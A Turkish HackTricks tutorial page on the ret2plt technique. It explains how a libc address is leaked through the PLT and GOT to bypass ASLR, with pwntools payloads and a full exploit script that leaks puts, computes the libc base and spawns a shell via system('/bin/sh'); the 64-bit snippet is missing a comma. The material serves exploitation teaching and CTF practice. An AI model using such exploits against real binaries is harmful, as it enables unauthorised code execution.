4.2 KiB
Ret2plt
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuzu keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin
- Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Bu teknikteki amaç, PLT'den bir işlevin adresini sızdırmak ve ASLR'yi atlamak için kullanmaktır. Bu, örneğin, libc'den puts
işlevinin adresini sızdırırsanız, ardından libc
'nin tabanını hesaplayabilir ve diğer işlevlere erişmek için system
gibi işlevlere erişmek için ofsetleri hesaplayabilirsiniz.
Bu, pwntools
yüküyle şu şekilde yapılabilir (buradan):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
puts
(PLT adresinden kullanılarak) puts
'ın GOT'ta (Global Offset Table) bulunan adresi ile çağrıldığını gözlemleyin. Bu, puts
GOT girdisini yazdırdığında, bu girdinin hafızadaki puts
'ın tam adresini içereceği anlamına gelir.
Ayrıca, exploit içinde main
in adresinin kullanıldığına dikkat edin, böylece puts
işlemini bitirdiğinde, binary çıkış yapmak yerine main
i tekrar çağırır (bu nedenle sızdırılan adres geçerli olmaya devam eder).
{% hint style="danger" %} Bu işlem için çalışması için binary'nin PIE ile derlenmemiş olması veya PLT, GOT ve main adreslerini bilmek için PIE'yi atlatmak için bir sızıntı bulmuş olmanız gerekir. Aksi takdirde, önce PIE'yi atlatmanız gerekir. {% endhint %}
Bu atlatmanın tam örneğini burada bulabilirsiniz. Bu, o örneğin son exploit'iydi:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Diğer örnekler ve Referanslar
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR etkin ancak PIE yok, ilk adım, bir taşma oluşturarak canary'nin 0x00 baytına kadar doldurulması ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'u çağırmak için ROP cihazı oluşturulur ve GOT'tan puts adresini sızdırmak için bir ROP cihazı ve
system('/bin/sh')
çağırmak için bir ROP cihazı oluşturulur. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP cihazı oluşturarak GOT'tan puts adresini sızdırmak ve ardından bir tane cihazı çağırmak için.